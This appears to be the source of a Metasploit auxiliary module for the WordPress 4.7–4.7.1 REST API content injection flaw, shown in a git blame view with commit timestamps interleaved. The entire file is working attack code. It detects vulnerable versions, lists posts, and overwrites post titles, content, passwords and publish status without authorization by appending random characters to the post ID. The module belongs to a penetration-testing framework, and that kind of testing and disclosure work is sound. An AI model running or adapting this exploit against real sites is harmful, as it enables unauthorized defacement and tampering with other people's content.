2017-02-03 10:40:01 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'WordPress REST API Content Injection',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a content injection vulnerability in WordPress
|
|
|
|
versions 4.7 and 4.7.1 via type juggling in the REST API.
|
|
|
|
},
|
|
|
|
'Author' => [
|
|
|
|
'Marc Montpas', # Vulnerability discovery
|
|
|
|
'wvu' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' => [
|
2017-02-08 00:33:58 +00:00
|
|
|
['WPVDB', '8734'],
|
|
|
|
['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'],
|
|
|
|
['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'],
|
|
|
|
['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'],
|
|
|
|
['URL', 'https://developer.wordpress.org/rest-api/reference/posts/']
|
2017-02-03 10:40:01 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Feb 1 2017',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' => [
|
|
|
|
['LIST', 'Description' => 'List posts'],
|
|
|
|
['UPDATE', 'Description' => 'Update post']
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'LIST'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]),
|
|
|
|
OptString.new('POST_TITLE', [false, 'Post title']),
|
|
|
|
OptString.new('POST_CONTENT', [false, 'Post content']),
|
|
|
|
OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])
|
|
|
|
])
|
2017-02-08 09:51:12 +00:00
|
|
|
|
|
|
|
register_advanced_options([
|
2017-02-08 09:56:08 +00:00
|
|
|
OptInt.new('PostCount', [false, 'Number of posts to list', 100]),
|
|
|
|
OptBool.new('AutoPublish', [false, 'Publish updated posts', true])
|
2017-02-08 09:51:12 +00:00
|
|
|
])
|
2017-02-03 10:40:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check_host(_ip)
|
|
|
|
if (version = wordpress_version)
|
|
|
|
version = Gem::Version.new(version)
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
vprint_status("WordPress #{version}: #{full_uri}")
|
|
|
|
|
|
|
|
if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1'))
|
|
|
|
Exploit::CheckCode::Appears
|
|
|
|
else
|
|
|
|
Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(_ip)
|
|
|
|
case action.name
|
|
|
|
when 'LIST'
|
|
|
|
do_list
|
|
|
|
when 'UPDATE'
|
|
|
|
do_update
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def do_list
|
|
|
|
posts_to_list = list_posts
|
|
|
|
|
2017-02-07 10:29:43 +00:00
|
|
|
if posts_to_list.empty?
|
|
|
|
vprint_status("No posts found at #{full_uri}")
|
|
|
|
return
|
|
|
|
end
|
2017-02-03 10:40:01 +00:00
|
|
|
|
|
|
|
tbl = Rex::Text::Table.new(
|
|
|
|
'Header' => full_uri,
|
2017-02-08 10:31:06 +00:00
|
|
|
'Columns' => %w{ID Title URL Status Password}
|
2017-02-03 10:40:01 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
posts_to_list.each do |post|
|
2017-02-08 10:31:06 +00:00
|
|
|
if post[:status] == 'publish'
|
|
|
|
status = 'Published'
|
|
|
|
else
|
|
|
|
status = post[:status].capitalize
|
|
|
|
end
|
|
|
|
|
2017-02-03 10:40:01 +00:00
|
|
|
tbl << [
|
|
|
|
post[:id],
|
|
|
|
Rex::Text.html_decode(post[:title]),
|
|
|
|
post[:url],
|
2017-02-08 10:31:06 +00:00
|
|
|
status,
|
2017-02-03 10:40:01 +00:00
|
|
|
post[:password] ? 'Yes' : 'No'
|
|
|
|
]
|
|
|
|
end
|
|
|
|
|
|
|
|
print_line(tbl.to_s)
|
|
|
|
end
|
|
|
|
|
|
|
|
def do_update
|
|
|
|
posts_to_update = []
|
|
|
|
|
|
|
|
if datastore['POST_ID'] == 0
|
|
|
|
posts_to_update = list_posts
|
|
|
|
else
|
|
|
|
posts_to_update << {id: datastore['POST_ID']}
|
|
|
|
end
|
|
|
|
|
2017-02-07 10:29:43 +00:00
|
|
|
if posts_to_update.empty?
|
|
|
|
vprint_status("No posts to update at #{full_uri}")
|
|
|
|
return
|
|
|
|
end
|
2017-02-03 10:40:01 +00:00
|
|
|
|
|
|
|
posts_to_update.each do |post|
|
|
|
|
res = update_post(post[:id],
|
|
|
|
title: datastore['POST_TITLE'],
|
|
|
|
content: datastore['POST_CONTENT'],
|
2017-02-08 09:56:08 +00:00
|
|
|
password: datastore['POST_PASSWORD'],
|
|
|
|
status: datastore['AutoPublish'] ? 'publish' : nil
|
2017-02-03 10:40:01 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
post_url = full_uri(wordpress_url_post(post[:id]))
|
|
|
|
|
|
|
|
if res && res.code == 200
|
2017-02-08 08:14:28 +00:00
|
|
|
print_good("SUCCESS: #{post_url} (post updated)")
|
|
|
|
elsif res && res.code == 404
|
|
|
|
print_error("FAILURE: #{post_url} (invalid post ID)")
|
2017-02-03 10:40:01 +00:00
|
|
|
else
|
2017-02-08 08:14:28 +00:00
|
|
|
print_error("FAILURE: #{post_url} (unknown error)")
|
2017-02-03 10:40:01 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def list_posts
|
|
|
|
posts = []
|
|
|
|
|
2017-02-08 10:31:06 +00:00
|
|
|
%w{publish future draft pending private}.each do |status|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(get_rest_api, 'posts'),
|
|
|
|
'vars_get' => {
|
|
|
|
'status' => status,
|
|
|
|
'per_page' => datastore['PostCount']
|
2017-02-03 10:40:01 +00:00
|
|
|
}
|
2017-02-08 10:31:06 +00:00
|
|
|
}, 3.5)
|
|
|
|
|
|
|
|
if res && res.code == 200
|
|
|
|
res.get_json_document.each do |post|
|
|
|
|
posts << {
|
|
|
|
id: post['id'],
|
|
|
|
title: post['title']['rendered'],
|
|
|
|
url: post['link'],
|
|
|
|
status: status,
|
|
|
|
password: post['content']['protected']
|
|
|
|
}
|
|
|
|
end
|
2017-02-03 10:40:01 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
posts
|
|
|
|
end
|
|
|
|
|
|
|
|
def update_post(id, opts = {})
|
|
|
|
payload = {}
|
|
|
|
|
|
|
|
payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}"
|
|
|
|
payload[:title] = opts[:title] if opts[:title]
|
|
|
|
payload[:content] = opts[:content] if opts[:content]
|
|
|
|
payload[:password] = opts[:password] if opts[:password]
|
2017-02-08 09:56:08 +00:00
|
|
|
payload[:status] = opts[:status] if opts[:status]
|
2017-02-03 10:40:01 +00:00
|
|
|
|
|
|
|
send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(get_rest_api, 'posts', id),
|
|
|
|
'ctype' => 'application/json',
|
|
|
|
'data' => payload.to_json
|
|
|
|
}, 3.5)
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_rest_api
|
|
|
|
return @rest_api if @rest_api
|
|
|
|
|
|
|
|
res = send_request_cgi!({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(target_uri.path)
|
|
|
|
}, 3.5)
|
|
|
|
|
|
|
|
if res && res.code == 200
|
|
|
|
@rest_api = parse_rest_api(res)
|
|
|
|
end
|
|
|
|
|
|
|
|
@rest_api ||= wordpress_url_rest_api
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_rest_api(res)
|
|
|
|
rest_api = nil
|
|
|
|
|
|
|
|
link = res.headers['Link']
|
|
|
|
html = res.get_html_document
|
|
|
|
|
|
|
|
if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$}
|
|
|
|
rest_api = route_rest_api($1)
|
|
|
|
vprint_status("REST API (Link header): #{rest_api}")
|
|
|
|
elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href'))
|
|
|
|
rest_api = route_rest_api(xpath)
|
|
|
|
vprint_status("REST API (HTML document): #{rest_api}")
|
|
|
|
end
|
|
|
|
|
|
|
|
rest_api
|
|
|
|
end
|
|
|
|
|
|
|
|
def route_rest_api(rest_api)
|
|
|
|
normalize_uri(path_from_uri(rest_api), 'wp/v2')
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|